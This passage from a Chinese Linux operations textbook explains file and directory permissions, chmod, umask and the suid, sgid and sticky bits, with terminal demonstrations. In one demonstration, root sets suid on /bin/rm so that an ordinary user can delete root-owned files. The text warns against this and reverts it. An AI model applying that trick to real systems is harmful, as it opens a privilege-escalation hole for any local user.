现在测试test用户下是否有执行test.sh的权限，命令如下：
 


[test@oldboy ~]$ /oldboy/test.sh #<==其他用户位有x权限，但是依然无法执行。

bash: /oldboy/test.sh: Permission denied




 
测试结论总结如下。
 
·oldboy用户无删除test.sh的权限，即使有w属性也不行，原因后文会讲。

·test用户无执行权限，即使有x权限，普通用户要想执行文件，也必须要有r和x权限才行。

·文件的w或x权限要能顺利生效，也必须要有r权限的配合，因为读不了文件内容，那么修改文件和执行文件都是有问题的。
 
4.修改/oldboy目录的权限，并测试oldboy用户对oldboy目录下test.sh的删除权限
 
具体步骤如下：
 


[root@oldboy ~]# chmod 000 /oldboy/test.sh #<==将文件调整为无任何权限。

[root@oldboy ~]# ls -l /oldboy/test.sh

----------. 1 oldboy incahome 29 Apr 30 10:38 /oldboy/test.sh #<==查看调整结果。

[root@oldboy ~]# chown -R oldboy /oldboy #<==将test.sh的上级目录所属的用户修改为oldboy。

[root@oldboy ~]# ls -ld /oldboy/ #<==查看调整结果。

drwxr-xr-x. 2 oldboy root 4096 Apr 30 09:55 /oldboy/




 
测试分析，根据test.sh文件属性信息可知，oldboy用户对test.sh的权限看前三位（---），即无任何权限，测试步骤如下：
 


[oldboy@oldboy ~]$ cat /oldboy/test.sh 

cat: /oldboy/test.sh: Permission denied  #<==无法查看内容，符合预期。

[oldboy@oldboy ~]$ echo "echo oldboy" >>/oldboy/test.sh

-bash: /oldboy/test.sh: Permission denied #<==无法追加修改内容，符合预期。

[oldboy@oldboy ~]$ /oldboy/test.sh

-bash: /oldboy/test.sh: Permission denied #<==无法执行，符合预期。

[oldboy@oldboy ~]$ rm -f /oldboy/test.sh  #<==但是可以删除文件，神奇吧。

[oldboy@oldboy ~]$ ls -l /oldboy/test.sh

ls: cannot access /oldboy/test.sh: No such file or directory #<==文件已找不到。




 
测试结论：删除test.sh文件与文件本身的属性无关，而与上级目录对应的用户权限是否有w权限有关。出现这个问题的原因是：前面章节已经讲解过，文件名不是文件的属性，文件名存在于上一级目录的block里面，删除文件就相当于是删除了文件名，即修改了上级目录的Block信息，因此，必然会受上级目录权限的控制，这是目录w权限的真正作用，即删除目录下的文件和修改文件名。
 
12.3.3　通过实践测试目录属性对应的权限
 
1.针对当下目录/oldboy属性测试权限
 
查看当下目录/oldboy属性，命令如下：
 


[root@oldboy ~]# ls -ld /oldboy/

drwxr-xr-x. 2 oldboy root 4096 Apr 30 11:05 /oldboy/




 
通过上述命令可知，/oldboy目录的用户为oldboy，用户组为root，因此，oldboy用户对/oldboy目录下的内容的权限看前三位（rwx），可以得知，其具备浏览oldboy目录下内容的权限、删除oldboy目录下文件的权限和切换到oldboy目录下的权限。而oldgirl及test用户对于/oldboy目录权限的属性来说，都属于其他用户角色，因此，对应权限都看最后三位（r-x），即都有浏览oldboy目录下内容的权限、切换到oldboy目录下的权限，但是无删除oldboy目录下文件的权限。测试实践过程如下。
 
使用oldboy用户进行测试：
 


[oldboy@oldboy /]$ whoami

oldboy

[oldboy@oldboy ~]$ ls -ld /oldboy

drwxr-xr-x. 2 oldboy root 4096 Apr 30 11:05 /oldboy

[oldboy@oldboy ~]$ touch /oldboy/{1..3}.txt  

#<==在oldboy目录下创建文件是可以的，这是oldboy目录用户位中w权限的作用。

[oldboy@oldboy ~]$ ls /oldboy/    #<==列表目录下的内容也可以，这是oldboy目录用户位中r权限的作用。

1.txt  2.txt  3.txt

[oldboy@oldboy ~]$ ls -l /oldboy/ 

#<==列表目录下的内容及属性信息也是可以的，这是oldboy目录用户位中r权限的作用。

total 0

-rw-r--r--. 1 oldboy incahome 0 Apr 30 11:17 1.txt

-rw-r--r--. 1 oldboy incahome 0 Apr 30 11:17 2.txt

-rw-r--r--. 1 oldboy incahome 0 Apr 30 11:17 3.txt

[oldboy@oldboy ~]$ cd /oldboy/  #<==切换到oldboy目录下也可以，这是oldboy目录用户位中x权限的作用。

[oldboy@oldboy oldboy]$ pwd

/oldboy

[oldboy@oldboy oldboy]$ rm -f 1.txt  #<==可以删除目录下的文件，这是oldboy目录用户位中w权限的作用。

[oldboy@oldboy oldboy]$ ls

2.txt  3.txt




 
在使用oldgirl、test用户测试时，会发现二者的权限相同，因此这里仅以oldgirl用户为例进行讲解，测试过程如下：
 


[oldgirl@oldboy oldboy]$ whoami

oldgirl

[oldgirl@oldboy ~]$ ls -ld /oldboy

drwxr-xr-x. 2 oldboy root 4096 Apr 30 11:17 /oldboy   #<==oldgirl对应权限看最后三位（r-x）。

[oldgirl@oldboy ~]$ ls /oldboy     #<==可以列表文件名，因为具有r权限。

2.txt  3.txt

[oldgirl@oldboy ~]$ ls -l /oldboy  #<==可以列表属性信息。

total 0

-rw-r--r--. 1 oldboy incahome 0 Apr 30 11:17 2.txt

-rw-r--r--. 1 oldboy incahome 0 Apr 30 11:17 3.txt

[oldgirl@oldboy ~]$ touch /oldboy/{a.c}.txt  #<==无法创建文件，因为没有w权限。

touch: cannot touch `/oldboy/{a.c}.txt': Permission denied

[oldgirl@oldboy ~]$ cd /oldboy  #<==可以切换到oldboy目录下，因为有x权限。

[oldgirl@oldboy oldboy]$ pwd

/oldboy

[oldgirl@oldboy oldboy]$ ls

2.txt  3.txt

[oldgirl@oldboy oldboy]$ rm -f 2.txt  #<==无法删除文件，因为没有w权限。

rm: cannot remove `2.txt': Permission denied




 
2.测试oldboy目录权限中x和w与r的配合，以及r和w与x的配合
 
将文件的权限和用户及组调整为如下属性：
 


[root@oldboy ~]# chmod 736 /oldboy/  #<==读者原样输入即可，12.4.1节会详细讲解，这里无须关心为什么如此输入。

[root@oldboy ~]# chown oldboy.incahome /oldboy  #<==修改用户及组。

[root@oldboy ~]# ls -ld /oldboy

drwx-wxrw-. 2 oldboy incahome 4096 Apr 30 11:17 /oldboy




 
根据修改后的目录属性信息可知，/oldboy目录的所属的用户及组分别为oldboy用户和incahome组，因此，oldboy用户对/oldboy目录的权限看前三位（rwx），而oldgirl用户属于incahome组，因此，oldgirl用户对/oldboy目录的权限看中三位（-wx），最后test用户对/oldboy目录的权限看最后三位（rw-）。
 
实践步骤如下。
 
下面是使用oldgirl用户进行测试的情况，注意这里要看中三位（-wx）：
 


[oldgirl@oldboy ~]$ ls -ld /oldboy/

drwx-wxrw-. 2 oldboy incahome 4096 Apr 30 11:17 /oldboy/  #<==中三位（-wx）是old- girl对应的权限。

[oldgirl@oldboy ~]$ ls /oldboy           #<==无法列表目录下的内容，因为无r权限。

ls: cannot open directory /oldboy: Permission denied

[oldgirl@oldboy ~]$ touch /oldboy/m.txt  #<==可以创建文件，因为有w权限。

[oldgirl@oldboy ~]$ cd /oldboy           #<==可以切换到目录。因为有x权限。

[oldgirl@oldboy oldboy]$ ls              #<==无法列表目录下的内容，因为无r权限。

ls: cannot open directory .: Permission denied

[oldgirl@oldboy oldboy]$ rm -f m.txt #<==可以删除文件，因为具有w权限。




 
以下是使用test用户进行测试的情况，注意这里要看后三位（rw-）：
 


[test@oldboy ~]$ whoami

test

[test@oldboy ~]$ ls -ld /oldboy

drwx-wxrw-. 2 oldboy incahome 4096 Apr 30 11:38 /oldboy  #<==后三位（rw-）是test用户对应的权限。

[test@oldboy ~]$ ls /oldboy  #<==可以列表目录下的内容，因为具有r权限。

ls: cannot access /oldboy/3.txt: Permission denied  #<==但是缺少x权限配合，所以，报错了。

ls: cannot access /oldboy/2.txt: Permission denied

2.txt  3.txt                   #<==依然可以看到目录下的内容。

[test@oldboy ~]$ ls -l /oldboy #<==可以列表目录下内容的属性信息。

ls: cannot access /oldboy/3.txt: Permission denied

ls: cannot access /oldboy/2.txt: Permission denied

total 0

-????????? ? ? ? ?            ? 2.txt #<==属性信息为多个问号属于不正常现象，因为缺少x权限配合。

-????????? ? ? ? ?            ? 3.txt

[test@oldboy ~]$ touch /oldboy/n.txt  #<==无法创建文件，虽然有w，但是没有x权限配合。

touch: cannot touch `/oldboy/n.txt': Permission denied

[test@oldboy ~]$ rm -f /oldboy/3.txt  #<==无法删除文件，虽然有w，但是没有x权限配合。

rm: cannot remove `/oldboy/3.txt': Permission denied

[test@oldboy ~]$ cd /oldboy           #<==无法进入目录，因为没有x权限配合。

-bash: cd: /oldboy: Permission denied




 
测试结论：
 
·对于目录，r权限表示可以浏览目录下的内容（ls以及ls-l），w权限表示可以删除目录下的文件，以及在目录下创建文件，x权限表示切换到目录下。

·没有x权限的配合，即使有w权限也无法删除和创建文件。

·没有x权限的配合，即使有r权限，在查看目录内容及目录下的内容属性时也会报错或者显示问号，但依然可以看到列表的文件名。
 
[1] 请读者特别注意自己是在什么用户窗口下进行测试的，否则，可能会出现不一样的结果。
12.4　设置及更改文件及目录权限命令chmod
 
命令说明
 
【命令星级】　　★★★★★
 
【功能说明】
 
chmod命令是用来改变文件或目录权限的命令，但只有文件的属主和超级用户root才能够执行这个命令。
 
【语法格式】
 


chmod  [option]  [mode]  [file]

chmod  [选项]     [模式]   [<文件或目录>] 




 
[image: ]说明：
 
通过chmod改变文件或目录的权限有两种方法，一种是使用数字方法（常用）来设置权限；另一种是通过字母和操作符表达式的方法来设置权限。
 
【选项说明】
 
表12-3针对chmod命令的参数选项进行了说明。
 
表12-3　chmod命令的参数选项及说明

 
 [image: ]

 
【选项说明】
 
【chmod命令数字权限知识与实践】（推荐）
 
chmod使用数字权限设置权限的命令格式如下：
 


chmod  [数字组合]  文件名




 
chmod的数字语法简单直观，表12-4中列出了用数字表示权限的组合，该组合由3位八进制数来表示文件的3类用户的权限组合。
 
表12-4　数据权限表

 
 [image: ]

 
我们可以根据表12-4所示的数字列表来组合权限，比如，想让属主拥有rwx（所对应的数字是7），属组拥有--x（所对应的数字是1），其他用户拥有---（所对应的数字是0），这样将各组的权限组合起来就是rwx--x---（对应的数字是710）。
 
【chmod的数字方法计算说明】
 
可读r对应的数字为4，可写w对应的数字为2，可执行x对应的数字为1，“-”对应的数字为0。
 
例如，文件权限为rwxr-xr-x，其中，前三位相加4+2+1=7，中三位相加4+0+1=5，后三位相加4+0+1=5，那么rwxr-xr-x对应的完整数字权限就是755。
 
下面来看看以下字符权限表示的数字权限：
 
rw-rw-r-x　代表的数字权限为665
 
--xr-x-wx　代表的数字权限为153
 
-wx--x--x　代表的数字权限为311
 
而以下数字权限表示的字符权限如下：
 
755　代表的字符权限为rwxr-xr-x
 
644　代表的字符权限为rw-r--r--
 
134　代表的字符权限为--x-wxr--
 
需要特别强调的是，在字符权限排序中rwx的绝对位置是不能变的，没有权限时就用-替代。
 
下面是实践数字权限的范例。
 
范例12-1：将oldboy目录权限设置为r-xrw-rwx。
 
分析：r-xrw-rwx权限的前三位相加即4+0+1=5，中三位相加即4+2+0=6，后三位相加即4+2+1=7，因此对应的数字权限为567，操作的最终命令如下：
 


[root@oldboy ~]# chmod 567 /oldboy #<==实际数字权限的设置命令。

[root@oldboy ~]# ls -ld /oldboy

dr-xrw-rwx. 2 oldboy incahome 4096 Apr 30 11:38 /oldboy #<==符合预期需求。




 
【chmod字符式权限知识与实践】（不推荐）
 
chmod使用字符权限设置权限的命令格式如下：
 


chmod  [用户类型]  [+ | - | =]  [权限字符]  文件名




 
表12-5是使用权限字符设置权限的表格。
 
表12-5　使用权限字符设置权限格式
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chmod的字符式语法相对来说比较简单，文件或目录权限的改变，是通过比较直观的字符形式的改变来完成的。
 
下面来看一下在字符式语法中，相关字母的定义。
 
（1）用户或用户组的定义
 
·u：代表属主用户（owner/user）。

·g：代表属组（group）。

·o：代表其他用户（other）。

·a或者不写：同时代表ugo属主、属组和其他用户，也就是上面三个用户（或组）的所有（all）。
 
（2）权限定义字母，与前文一致
 
·r：代表读权限，用数字4表示。

·w：代表写权限，用数字2表示。

·x：代表执行权限，用数字1表示。

·-：代表没有权限，用数字0表示。
 
（3）权限增减字符详细定义
 
·+：添加权限。

·-：取消权限。

·=：取消其他所有权限，然后赋予给定的权限。
 
下面是字符权限的示例说明：
 


chmod u-x test.sh    #<==取消用户权限位的x权限。

chmod g+w test.sh    #<==用户组权限位增加w权限。

chmod u-x,g+w,o-rwx test.sh #<==用户位取消x权限，用户组增加w权限，其他用户取消rwx权限。

chmod ugo=rw test.sh #<==所有权限组赋予rw权限。

chmod a=rw test.sh   #<==所有权限组赋予rw权限。

chmod +x test.sh     #<==所有权限组增加x权限，这个命令比较常用。




 
错误写法：
 


chmod u=---,g=--x,o=-w- test/gongli.txt #<==不要带“-”。




 
[image: ]提示：推荐使用数字权限表示法，了解字符权限设置方法即可。
 
范例12-2：已知oldboy目录的权限如下，请取消用户位的读权限，取消用户组位的w权限，增加x权限，其他用户位没有任何权限，目录下所有文件和所有子目录也要同时修改。
 


[root@oldboy ~]# ls -ld /oldboy

dr-xrw-rwx. 2 oldboy incahome 4096 Apr 30 11:38 /oldboy




 
方法1：根据题意一步步来设置。
 


[root@oldboy ~]# chmod -R u-r,g=rx,o=- /oldboy   #<==字符权限设置方法。

[root@oldboy ~]# ls -ld /oldboy

d--xr-x---. 2 oldboy incahome 4096 Apr 30 11:38 /oldboy

[root@oldboy ~]# ls -l /oldboy

total 0

--w-r-x---. 1 oldboy incahome 0 Apr 30 11:17 2.txt

--w-r-x---. 1 oldboy incahome 0 Apr 30 11:17 3.txt




 
方法2：根据题意，提前计算好最终的完整字符权限，然后一步到位用等号来设置。
 


[root@oldboy ~]# chmod -R u=w,g=rx,o=- /oldboy




 
方法3：计算好最终的字符权限对应的数字权限，然后一步到位用数字权限进行设置。
 


[root@oldboy ~]# chmod -R 250 /oldboy




 
[image: ]提示：-R表示递归设置，对目录下的所有文件和子目录生效。
12.5　企业环境下文件和目录的安全核心知识
 
还记得Linux运维工程师的职责吗？
 
·数据安全。

·永不宕机。

·用户体验好。
 
Linux的权限是保障Linux下数据安全的重要核心基础，那么，怎样设置权限，数据的安全才能有保障呢？
 
1.禁止普通用户删除和创建文件
 
这是绝大多数网站业务目录的安全临界点，删除文件数据就会造成数据丢失，创建文件将会生成木马病毒危害系统。要实现标题中的需求，目录的权限最低要设置为755权限，对应字符权限为rwxr-xr-x，而且仅设置权限还不够，还要控制用户和用户组，设置用户和用户组都为root才能达到题目所要求的安全级别。对于/oldboy目录，要防止普通用户删除和创建文件的具体操作就是：
 


[root@oldboy ~]# chmod -R 755 /oldboy  #<==防止删除及创建文件安全权限临界点。

[root@oldboy ~]# chown -R root.root /oldboy  #<==必须要设置合适的用户和组，否则设置的权限有可能达不到效果。

[root@oldboy ~]# ls -ld /oldboy

drwxr-xr-x. 2 root root 4096 Apr 30 11:38 /oldboy  #<==rwxr-xr-x，目录字符权限的安全临界点。




 
针对普通用户oldboy的测试具体如下：
 


[oldboy@oldboy /]$ whoami

oldboy

[oldboy@oldboy /]$ ls -l /oldboy  #<==可以查看目录下的内容。

total 0

-rwxr-xr-x. 1 root root 0 Apr 30 11:17 2.txt

-rwxr-xr-x. 1 root root 0 Apr 30 11:17 3.txt

[oldboy@oldboy /]$ touch /oldboy/test.txt  #<==无法在目录下创建文件。

touch: cannot touch `/oldboy/test.txt': Permission denied

[oldboy@oldboy /]$ rm -f /oldboy/2.txt     #<==无法删除目录下的文件。

rm: cannot remove `/oldboy/2.txt': Permission denied




 
2.防止用户修改文件内容
 
这是绝大多数网站业务文件安全的临界点，如果普通用户可以随便篡改文件内容，那是极其危险和不安全的，要防止文件内容被修改，可利用文件本身的w权限来实现，同时，将文件的用户和用户组相关联，设置用户和用户组都为root，这样才能达到标题所示的要求。对于/oldboy目录下的文件，防止普通用户篡改文件的具体操作如下：
 


[root@oldboy oldboy]# touch test.txt      #<==创建待测试文件。

[root@oldboy oldboy]# chmod 644 test.txt  #<==授权644权限，文件的防修改安全临界点。

[root@oldboy oldboy]# chown root.root test.txt    #<==必须要设置合适的用户和组，否则设置的权限有可能达不到效果。

[root@oldboy oldboy]# ls -l test.txt 

-rw-r--r--. 1 root root 0 Apr 30 13:09 test.txt #<==rw-r--r--，文件字符权限的安全临界点。




 
3.变态的安全措施
 
如果安全要求除了不能删除和创建，以及不能修改文件以外，还有更多的需求，那么就要控制r和x权限了。例如，如果不希望浏览目录下的内容，就要对目录取消r权限；如果不希望切换到目录下，就要对目录取消x权限。如果不希望查看文件内容，就要对文件取消r权限，如果不希望执行文件，就要对文件取消x权限。不过，这种变态的安全措施，除了不对外备份数据以外，工作中几乎是没有的。
 
结论：绝大多数企业中业务安全的临界点都是防止删除、创建和篡改操作，因此，目录安全权限的临界点，即root用户默认创建的目录，权限为755，用户和组为root。文件安全权限的临界点，即root用户默认创建的文件，权限为644，用户和组为root。
 
有关企业网站目录的安全临界点的科学设置，可参见《跟老男孩学Linux运维：Web集群实战》一书的优化部分。
12.6　默认权限掩码及设置命令umask
 
12.6.1　命令说明
 
【命令星级】　　★★★☆☆
 
【功能说明】
 
umask是通过八进制的数值来定义用户创建文件或目录的默认权限的。系统会根据预先设定的umask值计算出默认情况下创建的文件或目录权限。
 
【语法格式】
 


umask  [option]  [mode] 

umask  [选项]     [模式]  




 
12.6.2　通过umask计算默认权限的方法
 
1.文件默认权限计算
 
创建文件默认最大的权限为666（-rw-rw-rw-），其默认创建的文件没有可执行权限x位。
 
对于文件来说，umask的设置是在假定文件拥有八进制666的权限上进行的，文件的权限就是666减umask（umask的各个位数字也不能大于6，比如077就不符合条件）的掩码数值。如果得到的3位数字每一位都是偶数，那么这就是最终结果；如果有若干位的数字是奇数，那么这个奇数需要加1变成偶数，最后得到全是偶数的结果。
 
下面列举几个示例进行说明。
 
1）假设umask值为022（所有位均为偶数），那么文件的对应权限计算式为：
 

 [image: ]

 
2）假设umask值为045（其他用户组位为奇数），那么文件的对应权限计算式为：
 

 [image: ]

 
2.目录默认权限计算（umask没有奇偶之分）
 
创建目录默认最大的权限为777（-rwx-rwx-rwx），默认创建的目录属主是有x权限的，即允许用户进入。
 
对于目录来说，umask的设置是在假定文件拥有八进制777权限上进行的，目录八进制权限777减去umask的掩码数值，即为：
 

 [image: ]

 
12.6.3　使用范例
 
范例12-3：查看系统用户默认的umask值。
 


[root@oldboy ~]# umask  #<==默认情况下，root用户对应的umask值为022，第一个0暂时忽略。

0022

[test@oldboy ~]$ umask  #<==普通用户test对应的umask值为002，第一个0暂时忽略。

0002




 
注意，用户的umask值的设定默认存在于/etc/bashrc文件中，命令如下：
 


[root@oldboy ~]# sed -n '70,74p' /etc/bashrc #<==sed命令取出文件的第70行到第74行，打印输出,CentOS6是第65行到第69行。

    if [ $UID -gt 199 ] && [ "`/usr/bin/id -gn`" = "`/usr/bin/id -un`" ]; then

        umask 002

    else

        umask 022

    fi




 
[image: ]提示：当用户UID值大于199，并且用户与用户组名相同时，上述if条件判断成立，umask值就为002，否则就为022。
 
12.6.4　umask设置与Linux默认权限设置小结
 
下面用一个表格（表12-6）整理下umask设置与Linux默认权限设置的知识小结，以方便读者学习掌握。
 
表12-6　umask与默认权限设置小结

 
 [image: ]

 

 [image: ]

 
企业面试题：什么是umask，它的作用是什么，怎么计算文件和目录的默认权限？
12.7　Linux系统特殊权限位知识
 
本节将讲解Linux系统的特殊权限位知识，这部分知识内容较难，不过，幸运的是，在一般的生产场景下，运维人员使用特殊权限位知识的情况并不多见，老男孩也不推荐大家使用，虽然suid、sgid的功能不错，但是会对服务器带来较大的安全隐患，因此，读者只需了解这节的内容即可。
 
12.7.1　特殊权限位基本说明
 
前文详细讲解了Linux系统9位基本权限位，但除了基本的9位权限之外，实际上Linux权限位还有额外的3位权限位，总共是12位权限位。
 
这额外的3位权限位分别为suid、sgid、sticky，下面分别来看一下。
 
1.suid
 
suid（setuid）位通过S字符标识，存在于基本权限的用户权限位的x权限对应的位置，如果用户权限位对应的x权限位上有x权限，则suid就用小写的s标识，suid的s对应的数字权限为4，完整权限用八进制数4000表示。
 
suid位也是通过chmod命令进行设置的，可以利用字符权限以及数字权限来实现，示例代码如下：
 


[root@oldboy ~]# touch test.txt  #<==创建测试文件，目录也是一样的。

[root@oldboy ~]# ls -l test.txt 

-rw-r--r--. 1 root root 183 Apr 30 14:33 test.txt  #<==默认权限为644。

[root@oldboy ~]# chmod u+s test.txt  #<==在用户位增加suid权限。

[root@oldboy ~]# ls -l test.txt 

-rwSr--r--. 1 root root 183 Apr 30 14:33 test.txt #<==查看设置结果，因为用户位没有x权限，所以是大写的S，被设置为suid的文件显示的背景是红色，文件名是白色。




 
2.sgid
 
sgid（setgid）位同样是通过S字符来进行标识的，但是，sgid位存在于基本权限的用户组权限位的x权限对应的位置，如果用户组权限位对应的x权限位上有x权限，则sgid就用小写的s来标识，suid的s对应的数字权限为2，完整的权限用八进制数2000来表示。
 
sgid位同样是通过chmod命令来设置的，也可以利用字符权限以及数字权限来实现，示例代码如下：
 


[root@oldboy ~]# touch oldboy.txt  #<==创建测试文件，目录也是一样的。

[root@oldboy ~]# ls -l oldboy.txt 

-rw-r--r--. 1 root root 12 Apr 30 14:38 oldboy.txt  #<==默认权限为644。

[root@oldboy ~]# chmod g+s oldboy.txt #<==在用户组位增加sgid权限。

[root@oldboy ~]# ls -l oldboy.txt 

-rw-r-Sr--. 1 root root 12 Apr 30 14:38 oldboy.txt #<==查看设置结果，因为用户组位没有x权限，所以是大写的S，被设置为sgid的文件显示的背景是黄色，文件名是黑色。




 
3.sticky知识简介
 
sticky（粘滞）位通过字符T标识，存在于基本权限的其他用户位对应的x权限位上，如果其他用户位的x权限位上有x权限，则sticky（粘滞）位通过小写的t标识，对应的数字权限是1，完整的权限用八进制数1000表示。被设置了sticky（粘滞）位权限的文件会显示黑字绿底，最典型的带sticky（粘滞）位权限的目录就是/tmp。
 


[root@oldboy ~]# ls -ld /tmp

drwxrwxrwt. 3 root root 4096 Apr 30 08:26 /tmp #<==/tmp目录默认就有sticky权限，绿底黑字显示。

[root@oldboy ~]# ls -ld /oldboy

drwxr-xr-x. 2 root root 4096 Apr 30 13:09 /oldboy

[root@oldboy ~]# chmod o+t /oldboy #<==在其他用户位增加sticky权限。

[root@oldboy ~]# ls -ld /oldboy

drwxr-xr-t. 2 root root 4096 Apr 30 13:09 /oldboy #<==查看设置结果，因为其他用户位有x权限，所以是小写的s，文件显示的背景是蓝色，文件名是白色。




 
为了让读者更清晰地了解上述知识点，特整理特殊权限位的对比说明，具体见表12-7。
 
表12-7　特殊权限位对比说明表

 
 [image: ]

 

 [image: ]

 
12.7.2　深入理解suid权限知识
 
1.为什么会有suid位功能
 
在Linux系统中，有时执行某个命令（例如普通用户使用passwd修改自身账号密码）时，需要对另一个文件（/etc/shadow）进行操作，而执行passwd修改的文件/etc/shadow又是普通用户没有权限进行操作的，例如，修改用户密码的命令passwd，该命令文件的所有者和用户组都是root，但是/etc/shadow文件的权限极低，不允许任何普通用户及属主用户访问，具体信息如下：
 


[root@oldboy ~]# ls -l /etc/shadow

----------. 1 root root 785 Apr 30 09:39 /etc/shadow  #<==所有用户没有任何访问权限，只有管理员可改。




 
这样的权限，对于普通用户是没有办法更改的，但是系统还需要对普通用户开放自己更改自身账号密码的功能，因此就必须要让普通用户有权限修改shadow文件，这时就可以通过对passwd命令设置suid位来解决。
 
2.suid到底有什么作用
 
简单地说，suid的作用就是让普通用户可以在执行某个设置了suid位的命令或程序时，拥有与root管理员一样的身份和权限（默认情况）。
 
3.理解passwd命令的suid功能
 
根据基本权限的知识，oldboy用户无法修改shadow文件，但是因为passwd具有suid权限，因此，当oldboy用户执行passwd时，就可以取得root管理员的身份和权限（实际上是获取passwd对应用户的身份），所以就可以修改原本oldboy没权限修改的/etc/shadow了（修改过程中是以root身份操作的，这就是suid的作用），整个图解如图12-2所示。
 
4.suid核心知识小结
 
1）suid的功能是是针对二进制命令或程序的，不能用在Shell等类似脚本文件上。
 
2）用户或属主对应的前三位权限的x位上，如果有s（S）则表示具备suid权限。
 
3）suid的作用就是让普通用户可以在执行某个设置了suid位的命令或程序时，拥有与命令对应属主（一般为root管理员）一样的身份和权限（默认）。
 
 
 [image: ] 


图12-2　passwd命令suid权限图解
 
4）二进制命令程序需要具有可执行权限x配合才能进行相关操作。
 
5）suid对应的身份和权限仅在程序命令的执行过程中才有效。
 
6）suid是一把双刃剑，是一个比较危险的功能，对系统安全存在一定的威胁，企业里用户授权可以使用sudo等替代sgid功能。
 
7）在进行安全优化时，系统中默认设置了suid权限的命令要取消掉。
 
5.suid基于命令实战实例应用
 
如果想让一个普通用户oldboy拥有root用户才拥有的rm删除文件权限，除了使用su或sudo临时切换到root身份或以root的身份进行操作以外，还可以怎么做呢？另一种方法就是利用suid权限实现。示例代码如下：
 


[root@oldboy ~]# touch /root/oldgirl.txt

[root@oldboy ~]# ls -l /root/oldgirl.txt 

-rw-r--r--. 1 root root 20 Apr 30 15:29 /root/oldgirl.txt

[root@oldboy ~]# ls -ld /root

dr-xr-x---. 5 root root 4096 Apr 29 20:17 /root




 
下面以oldboy用户的身份切换删除/root/oldgirl.txt，根据前面讲过的权限知识，删除文件以查看文件的上级目录权限，oldgirl.txt的上级目录为/root，用户和用户组都是root，因此，oldboy用户对/root目录的权限就是看其他用户位的权限（---），没有任何权限，测试代码如下：
 


[oldboy@oldboy ~]$ ls /root

ls: cannot open directory /root: Permission denied

[oldboy@oldboy ~]$ cd /root

-bash: cd: /root: Permission denied

[oldboy@oldboy ~]$ ls /root

ls: cannot open directory /root: Permission denied

[oldboy@oldboy ~]$ rm -f /root/oldgirl.txt

rm: cannot remove `/root/oldgirl.txt': Permission denied




 
可以看到，结果是什么操作都进行不了。
 
下面为rm命令授权suid权限（注意，所有的授权操作都是在root下完成的，测试都是在oldboy用户窗口下进行的），步骤如下：
 


[root@oldboy ~]# chmod u+s /bin/rm     #<==对rm设置了suid位以后，任何用户执行rm都是root身份和权限。

[root@oldboy ~]# ls -l /bin/rm

-rwsr-xr-x. 1 root root 57440 Mar 23  2017 /bin/rm




 
再到oldboy用户窗口下进行测试，发现这次可以删除了。
 


[oldboy@oldboy ~]$ rm -f /root/oldgirl.txt




 
[image: ]提示：对rm设置了suid位以后，任何用户执行rm都是以root的身份和权限来进行的，由此可见这样操作是很不安全的。所以，笔者坚决禁止读者在企业中使用suid功能。
 
6.哪些命令被默认设置了suid位
 
Linux系统在默认情况下为了解决一些权限问题，就已经设置了一些suid的命令，这些命令在大多数情况下都没有破坏功能，下面仅以/bin目录为例进行说明。
 


[root@oldboy ~]# chmod u-s /bin/rm   #<==测试完毕赶紧取消suid权限。

[root@oldboy ~]# find /bin/ -type f -perm 4755|xargs ls -l#<==CentOS6结果。

-rwsr-xr-x. 1 root root 77560 Mar 22  2017 /bin/mount

-rwsr-xr-x. 1 root root 38520 Mar 22  2017 /bin/ping

-rwsr-xr-x. 1 root root 36488 Mar 22  2017 /bin/ping6

-rwsr-xr-x. 1 root root 34904 Mar 23  2017 /bin/su

-rwsr-xr-x. 1 root root 53480 Mar 22  2017 /bin/umount




 
先在普通用户oldboy下测试ping的功能，可以正常ping网站地址，示例代码如下：
 


[oldboy@oldboy ~]$ ping www.oldboyedu.com #<==CentOS6系统下的结果。

PING www.oldboyedu.com （101.200.195.98）56（84）bytes of data.

64 bytes from 101.200.195.98: icmp_seq=1 ttl=128 time=8.95 ms

64 bytes from 101.200.195.98: icmp_seq=2 ttl=128 time=8.65 ms




 
在root窗口下取消ping的suid权限位，步骤如下：
 


[root@oldboy ~]# chmod u-s /bin/ping #<==CentOS6系统下的结果。

[root@oldboy ~]# ls -l /bin/ping     #<==CentOS6系统下的结果。

-rwxr-xr-x. 1 root root 38520 Mar 22  2017 /bin/ping




 
重新在普通用户oldboy下测试ping功能，发现此时不能使用ping了。
 


[oldboy@oldboy ~]$ ping www.oldboyedu.com      #<==CentOS6系统下的结果。

ping: icmp open socket: Operation not permitted




 
[image: ]提示：因为ping没有了suid位，普通用户默认无法执行ping命令，设置完suid位之后，再执行ping命令时拥有了root身份和权限，所以就可以ping了，需要特别注意的是，虽然在CentOS7下这个ping取消了suid权限，但是这个示例还是有意义的，大家可以测试其他命令。
 
经过上述不同角度的讲解，相信读者应该能够明白suid的作用及应用场景了，suid可以使得普通用户在执行某个命令时拥有超越本身权限的能力，suid的核心是对命令进行设置，其与后文的su和sudo命令的功能是不同的。
 
12.7.3　sgid权限知识
 
对于二进制命令或者程序来说，sgid的功能与suid基本相同，唯一的区别是，suid是获得命令所属用户的身份和权限，而sgid是获得命令所属用户组的身份和权限，因此，有关sgid对于二进制命令或者程序方面的知识就不详细叙述了。
 
1.sgid核心知识小结
 
1）与suid不同的是，sgid既可以针对文件，也可以针对目录进行设置！
 
2）sgid的权限是针对用户组权限位的。
 
对于文件来说，sgid的功能具体如下。
 
1）sgid仅对二进制命令及程序有效。
 
2）二进制命令或程序，也需要有可执行权限x的配合。
 
3）执行命令的任意用户可以获得该命令在程序执行期间所属组的身份和权限。
 
对于目录（继承目录所属的组）来说，sgid的功能具体如下。
 
1）Linux里默认情况下所有用户创建文件，默认用户和组都是自身。
 
2）sgid可以让用户在此目录下创建的文件和目录具有与此目录相同的用户组设置。
 
setgid位主要用于目录中，在为某个目录设置了setgid位以后，在该目录中新创建的文件具有该目录的所属组权限，而不是创建该文件的用户的默认所有者。这就使得在多个用户之间共享一个目录中的文件变得简单。
 
[image: ]提示：用八进制数2000表示setgid权限位。
 
2.sgid位命令程序权限案例
 
大家还记得locate命令么？locate命令是一个从系统数据库中查找文件功能的命令，默认查找的数据库文件为/var/lib/mlocate/mlocate.db，通常是使用updatedb更新数据库。示例代码如下：
 


[root@oldboy ~]# which locate   #<==查看路径，CentOS7下需要先安装，命令如下yum install mlocate -y。

/usr/bin/locate

[root@oldboy ~]# ls -l `which locate`   #<==查看locate命令属性。

-rwx--s--x. 1 root slocate 38464 Mar 12  2015 /usr/bin/locate

                                #<==用户组位默认有s，即sgid位。

[root@oldboy ~]# updatedb               #<==创建并更新locate命令对应的数据库列表。

